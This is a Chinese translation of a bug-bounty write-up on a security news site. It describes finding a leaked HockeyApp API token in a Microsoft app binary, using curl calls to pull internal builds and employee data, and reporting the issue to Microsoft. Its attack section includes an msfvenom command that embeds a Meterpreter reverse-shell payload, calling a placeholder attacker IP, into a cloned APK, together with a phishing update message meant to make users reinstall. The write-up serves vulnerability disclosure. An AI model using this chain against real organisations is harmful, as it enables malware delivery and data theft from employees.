我是如何找到一个“灯下黑”漏洞的,而且是属于“P1”级别的? - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

我是如何找到一个“灯下黑”漏洞的,而且是属于“P1”级别的?

luochicun 资讯 2020-02-10 11:18:14
452491
收藏

导语:本文要介绍的这个漏洞是我前段时间发现的一个Microsoft的漏洞,属于“P1”级别。

并不是每个读者都知道P1是什么,“P1”是安全漏洞严重性的分类,不同的组织可能会有稍微不同的等级分类标准。不过一般情况下,漏洞的严重程度的等级都是从P5-P1,P5为“非常低”,P1为“危急”。不过一些组织也将严重程度分为P4-P0,其中P0为“危险警告”,P1为“高”。在这篇文章中,我使用了第一个等级分类标准,即P1代表最严重的漏洞。

本文要介绍的这个漏洞是我前段时间发现的一个Microsoft的漏洞,属于“P1”级别。

我能够利用该漏洞获取内部员工的联系信息,访问各种应用程序的内部测试版本,最重要的是可以接着内部应用程序更新的幌子,将恶意软件直接发送到每个员工的设备上。

1.png

HockeyApp

HockeyApp在iOS上使用企业证书进行大规模的内部分发,与Android不同,苹果的iOS不允许应用程序在官方应用商店之外发布。这个限制是通过代码签名来严格执行的。然而,企业证书正是为HockeyApp提供的场景而设计的。要使用该应用程序,用户必须安装开发人员的配置文件,并明确允许操作系统信任其身份。开发人员可以在命令行上启动一个构建,将他们的应用程序归档、签名并将其编译成.ipa或.apk文件。然后他们可以通过网络接口或HockeyApp的开发者API上传.ipa / .apk。虽然HockeyApp提供了让应用程序可以公开下载的选项,但大多数公司似乎只是将其固定为邀请。有时,邀请仅发送给开发人员团队,但通常,邀请被分发给组织的全体员工。这些构建用于在部署到生产之前收集错误报告,指标和反馈。

HockeyApp有两个独立的API——一个是客户端API,另一个是开发者API。任何拥有“开发人员”权限或更高权限的用户都可以生成API令牌。尽管这些令牌是可配置的,以限制对某些应用程序或某些操作的访问(只读、仅上传但不能发布等),但我个人从未遇到过使用此功能的组织。

我在几个地方发现了这些令牌:要么是硬编码在应用程序的二进制文件中,错误地留在应用程序沙箱中包含的bash脚本中,要么是在.plist文件中。从逻辑上讲,永远不要公开具有任何类型特权的令牌。但是为了公平地对待这些应用程序开发人员,HockeyApp文档并未过多地强调将这些API令牌保密的重要性。我相信那些被忽略的警告,再加上大多数用户可能仅使用其令牌来获取崩溃报告或通过已有多年历史的bash脚本上载构建件这一事实,这意味着他们可能尚未意识到破坏的程度恶意行为者可能使用令牌进行攻击。

我联系了微软安全响应中心,告诉他们这个普遍存在的安全漏洞。微软团队认真对待这份报告。经过一些讨论之后,他们决定更新文档以强调并警告用户保持API令牌安全的重要性。

逆向工程

仔细阅读汇编代码,我注意到在启动时,应用程序设置了几个常量供以后使用。其中两个引起了我的注意,它们都是由小写字母和数字组成的随机字符串。当我跟踪执行到这些令牌后来被访问的地方时,我遇到了几个包含名称“HockeyApp”的函数名。

我已经很熟悉HockeyApp,并希望查看其文档以获取有关其API的更多信息。我尝试仅使用应用程序标识符发送基本请求,我们将其称为2021bdf2671ab09174c1de5ad147ea2ba4’。

curl https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4

当然,由于应用程序被限制为“私有”,这个请求失败了。当我准备继续前进时,我想起HockeyApp也提供了API令牌。

需要身份验证的请求需要将HTTP头X-HockeyAppToken设置为有效的API令牌。每个用户都可以在帐户菜单中的API令牌下创建多个令牌。

返回到应用程序的二进制文件,我搜索了“X-HockeyAppToken”,很快就发现它来自于我之前找到的一个字符串的同一个函数。

3.png

现在我准备再试一次,这次看看我找到的字符串是不是一个有效的API令牌:

curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4

它似乎是一个.plist文件,包含一些与我正在测试的应用程序相匹配的基本信息:

      software-package    url    https://rink.hockeyapp.net/api/
    apps/2021bdf2671ab09174c1de5ad147ea2ba4/app_versions/
    344?format=ipa&pltoken=a84219bfe501359c33145863abe2512f
    &avtoken=a336d2104c8e0fb2a7dbc5b18d4e291cb3eb61da
    &download_origin=hockeyapp  ...
  url  https://rink.hockeyapp.net/api/2
  /apps/2021bdf2671ab09174c1de5ad147ea2ba4?format=png...
  metadata          bundle-identifier      com.ecorp.beta      bundle-version      1101      subtitle      1.2.3 (1101)      title      ECorp iOS

感兴趣的是应用程序名称、捆绑标识符、版本和“软件包” URL。我复制并粘贴了完整的URL到我的浏览器中,然后下载就自动开始了——这是最新测试版应用程序的完整的.ipa。我试着将不同的版本号而不是“1101”插入到URL中,我发现我也可以下载以前的任何版本,并访问从开始到现在的每个以前的版本。我将能够仔细阅读每一个旧的内部测试版应用程序的代码,并将它们加载到我的设备上。

我还从API文档中回顾了这些令牌可配置为具有各种访问级别:

5.png

此时,我认为开发团队肯定已经限制了这个标记。我最多希望能从API中提取一些敏感信息。即使它只有只读访问权限,也不应该公开它。

我尝试的下一个端点是/apps端点,它返回组织所有内部应用程序的列表,以及它们的基本数据。

6.png

你可以看到我圈出了该组织的一个iOS应用程序和一个Android应用程序。

通过此响应,我可以收集到:该组织的应用程序及其捆绑标识符的完整列表,每个应用程序所有者的全名以及每个应用程序的唯一标识符。

开发人员说明和提交消息

接下来,我可以更深入地研究各个应用程序:

curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4/app_versions?include_build_urls=true

这部分是真正有趣的信息的来源,我收到了大量回复,列出了每个上传的应用程序版本,以及每个版本的发布说明。这些发布说明通常包含所有提交到构建中的新提交的提交消息,以及每个提交的作者(全名和电子邮件)及其哈希值。这些消息通常具有很强的描述性,最终自己泄露了敏感信息。例如:公司内部Github存储库的URL,内部Jira实例的URL以及各种票证ID。

7.png

用户列表

curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4/app_users

我可以列出每个被邀请到这个应用程序的员工,包括他们的电子邮件地址、全名、邀请他们的人、时间以及他们被分配的角色:

8.png

用户和开发人员之间的通信

用户的设备类型、型号和操作系统版本,这是我认为这个最危险的部分:

11.png

用户发送的这些附件可能包含敏感信息,这似乎是合理的,这些很可能是屏幕截图或屏幕录音,这可能会泄露用户的帐户和他们的内容的大量信息。我也可以下载这些附件并使用exiftool之类的工具来提取更多的数据。

进攻性

当泄漏的API令牌拥有上传/发布特权时,我可以上传自己的构建,通过电子邮件通知所有用户安装它们,甚至强迫用户更新!例如:

1. 复制应用程序用户界面的一部分,然后将相似的登录页面上传到网络钓鱼员工凭据;

2. 上传恶意软件;

3. 发送电子邮件模拟团队负责的应用程序与自定义消息。

这种情况之所以如此危险,不仅是因为我可以上传一个应用程序,并希望有人安装它。我也可以通知所有的用户更新已经准备好了,并附上一条自定义消息,所有这些消息都以开发应用程序的可信内部团队的身份发布。一旦安装了应用程序,损害可能是无限的,比如我可以悄悄地窃取关键的身份验证信息,窃听内部对话,收集内部网络的信息等。

嵌入RAT

现在,如果我是作为攻击者,可以使用泄露的API令牌从HockeyApp下载ECorpAndroid最新版本的APK。

对于这种攻击,我可以选择从头开始创建自己的应用程序。我可以放入所需的任何功能或内容,或者仅显示空白屏幕。但是,这样做的目的是延迟我们的入侵被发现的可能。幸运的是,存在一种更有效的策略,使用Metasploit的Meterpreter有效载荷,我们可以克隆目标APK,使其外观和功能与真实应用完全相同,但其中隐藏了RAT(远程访问木马),这种方法将使普通员工不太可能怀疑。

现在,就可以准备将RAT嵌入到我们先前下载的ECorpAndroid APK的“克隆”中。假设我的服务器的IP是' 99.99.99.99 ',我们可以运行:

msfvenom -x Downloads/ECorpAndroid.apk -p android/meterpreter/reverse_tcp LHOST=99.99.99.99 LPORT=4444 -o MaliciousClone.apk

从输出中我们可以看到,原始的APK已反编译,有效载荷已添加,新的权限已注入到应用的AndroidManifest.xml中:

13.png

最后,它将为我们重建并签署新的APK。

14.png

上传恶意软件

以下是上传新版本应用程序所需的信息:

15.png

这些是基本的字段:.ipa或.apk,以及我希望在版本描述和通知电子邮件中包含的任何版本说明。

16.png

如果作为一名黑客,我当然希望选择“通知所有测试人员”来最大化受害者的数量。

17.png

选择“通知所有测试人员”好处是,可以阻止用户继续使用当前的应用程序版本,迫使他们安装我的新版本。

攻击者还希望在开发人员发现恶意软件之前尽可能长时间地保留它,使用API令牌,他们还可以从应用程序中删除用户(所有者除外),允许他们在上传构建之前删除开发团队成员!

18.png

社会工程攻击

要完成这次攻击,还有一个障碍。无论Android应用程序是调试版还是发布版,操作系统都将拒绝在现有应用程序上安装更新,除非该构建与原始的密钥存储签署相同。一般情况下,攻击者没有破坏开发人员的密钥存储。幸运的是,由于我能够以开发团队的身份与用户进行沟通,所以我可以解决这个问题。

现在,我已经准备好我的恶意软件感染APK。使用泄露的API令牌和应用程序标识符,我可以从命令行上传一个应用程序更新:

19.png

“备注”栏信息如下:

“你好,由于一些大的变化,我们的数据库设置,我们要求你先删除你目前安装的版本,然后再更新到这个版本。我们希望在这之后,你会看到一个明显的性能改善! ”

听起来足够合理!它从HockeyApp平台直接发送到你的收件箱!然后,当你单击电子邮件中的“安装”时,你将被转载到Hockey网站上的应用页面,你可以在其中进一步看到此消息直接来自开发人员:

20.png

到了这一步,应用程序的用户应该没有理由怀疑任何事情,他们很可能会遵循攻击者的指示:首先删除现有的应用程序,然后在其位置安装我的恶意应用程序。

请注意,这种要求用户在更新之前先删除现有应用程序的方法同样适用于iOS。用户删除现有应用后,先前接受的配置文件也将消失,他们需要返回并再次接受它,然后才能重新安装。但是,我们将需要申请企业证书,用虚假的信息字段模拟受害组织,并以某种方式使它通过苹果公司的认证。

除了更新现有应用程序外,还可以通过创建一个新应用程序并通过API邀请用户来进行相同的攻击。由于API令牌允许攻击者邀请其他用户使用新的和现有的应用程序,因此,在攻击者希望定位公司尚未安装应用程序的平台的情况下,这种方法特别有用。例如,如果公司只有一个iOS应用程序,但攻击者想要发布一个Android应用程序该怎么办?需要权衡的是,邀请一个全新的应用程序看起来很奇怪,并且可能会拉响安全警报。

总结

以下是我从这次发现漏洞的经历中得出的两个结论:

1. 永远不要认为一个容易发现的“太容易”或“太明显”的漏洞不重要,谨防灯下黑。起初,我认为我找到的字符串只是一个标识符,即使它是一个API令牌,如果它有任何危险的权限,开发人员也不可能让它暴露出来。显然,我错了!有时候要找到一个漏洞真的很简单。

2. 这个漏洞提示我们,熟悉你所攻击的目标有多么的重要。这个过程包括花时间了解开发人员是如何思考和工作的,如果我没有移动开发经验,我可能会忽略API令牌和HockeyApp被入侵的潜在灾难性后果。

本文翻译自:https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务